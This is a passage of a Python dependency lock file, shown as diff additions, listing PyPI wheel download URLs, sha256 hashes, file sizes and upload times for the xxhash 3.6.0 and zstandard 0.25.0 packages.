"https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" }, + { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" }, + { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" }, + { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" }, + { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" }, + { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" }, + { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" }, + { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" }, + { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" }, + { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" }, + { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" }, + { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" }, + { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" }, + { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" }, + { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" }, + { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" }, + { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" }, + { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" }, + { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" }, + { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = 